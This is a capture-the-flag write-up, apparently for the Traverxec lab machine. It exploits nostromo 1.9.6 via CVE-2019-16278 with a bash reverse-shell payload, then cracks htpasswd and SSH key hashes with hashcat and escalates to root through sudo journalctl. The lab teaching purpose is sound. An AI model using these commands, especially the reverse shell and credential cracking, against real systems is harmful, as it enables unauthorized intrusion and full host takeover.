Enumeration

As usual, we start with an nmap scan to get a listing of open ports and running services using:

sudo nmap -sT -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target

The result we get is pretty typical of a Linux web server; port 22 for remote administration via SSH and port 80 for hosting the web server.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: TRAVERXEC
| http-methods:
|_  Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Before looking at the site, start up burpsuite to capture all requests as you interact with the site.

The web site looks like a static web app, wappalyzer wasn’t able to fingerprint the technology. Going to /index.html gives a 200 status code and is the page served by going to / as well. In burpsuite, the Server header from the initial GET request reveals that it is being served by nostromo 1.9.6, which is a supposedly secure web server.

In the background, I kicked off some directory busting using feroxbuster to see if there are any interesting goodies being served by the web server:

feroxbuster -u http://$target/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Exploiting nostromo 1.9.6

Given it’s a very specific version of the web server, it’s not hard to find PoC exploit code on GitHub. For example, https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE

We can execute a payload like this to get a reverse shell:

python3 CVE-2019-16278.py -t $target -p 80 -c "bash -c '/bin/bash -i >& /dev/tcp/10.10.14.54/4444 0>&1'"
b'HTTP/1.1 200 OK\r\nDate: Thu, 05 Sep 2024 00:07:12 GMT\r\nServer: nostromo 1.9.6\r\nConnection: close\r\n\r\n\r\n'
b''

And receive it using nc

rlwrap nc -lnvp 4444

We end up with a shell on the host as the www-data.

Escalation to david

Looking around on the host as the www-data user, we can see a user called david in the /home directory. We cannot read his files yet. However, as the www-data user we can navigate to /var/nostromo/conf and see a listing of interesting config files:

www-data@traverxec:/var/nostromo/conf# ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27  2019 .
drwxr-xr-x 6 root root   4096 Oct 25  2019 ..
-rw-r--r-- 1 root bin      41 Oct 25  2019 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25  2019 mimes
-rw-r--r-- 1 root bin     498 Oct 25  2019 nhttpd.conf

There is a hash for the david account in the .htpasswd file which we can take locally and crack with hashcat:

hashcat -O david_hash_htpasswd /usr/share/wordlists/rockyou.txt

However, this password does not let us log in as david via SSH. We still have more work to do. We now take a look at the nttpd.conf file:

# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             [email protected]
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

There’s this weird bit at the bottom about homedirs. After reading through the nostromo docs regarding homedirs, https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=NHTTPD#HOMEDIRS it turns out there is a weird feature where it serves a directory out of the user’s home directories. I’m not sure why this is a feature. It seems like the risks would outweigh the benefits for a rather niche requirement; it would be far to easy to misconfigure something like this and expose sensitive data.

Regardless of my bias towards the feature, there is evidence of a directory in each user’s home folder called public_www. We can try a cd direct to the folder:

www-data@traverxec:/var/nostromo/conf# cd /home/david/public_www
www-data@traverxec:/home/david/public_www# ls -la
total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

We can actually access this directory as the www-data user which allows us to now see the david users “public” files. Inside the protected folder, we can find a .tgz file which we can inflate and pull out an id_rsa which we can subsequently use to log in as the user:

www-data@traverxec:/tmp# cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz .
www-data@traverxec:/tmp# gunzip backup-ssh-identity-files.tgz
www-data@traverxec:/tmp# tar -xvf backup-ssh-identity-files.tar
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Before being able to use the id_rsa, we must first crack the password for it. This is a two-part process. The first part is to use ssh2john to get the hash of the id_rsa password out into a crackable format:

ssh2john id_rsa > id_rsa_hash

Now we can crack it with hashcat using:

hashcat --username -O id_rsa_hash /usr/share/wordlists/rockyou.txt

I use the latest version of hashcat which can auto-detect the hash type so I don’t select the mode. If you’re running an older version, you’ll need to pass the -m switch with the correct mode, or try and cook your CPU using john.

Escalation to root

As the david user on the host, it is possible to look directly in the user’s home directory. There is immediately a bin directory that stands out because usually binaries are installed elsewhere on a Linux system.

Inside the directory, we find a script, server-stats.sh:

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

The first thing I noticed was the unqualified cat command at the start, but unless a cron job is running this script with elevated privileges, and we could write a new cat that could be executed, it’s not very helpful to us. The next thing to notice is that the user david can run journalctl as root. This has a sudo exploit for it listed in GTFOBins, https://gtfobins.github.io/gtfobins/journalctl/

We can abuse this just by running:

/usr/bin/sudo /usr/bin/journalctl

And once we are in a less like state with pagination, we can type !/bin/bash and we get a shell as root.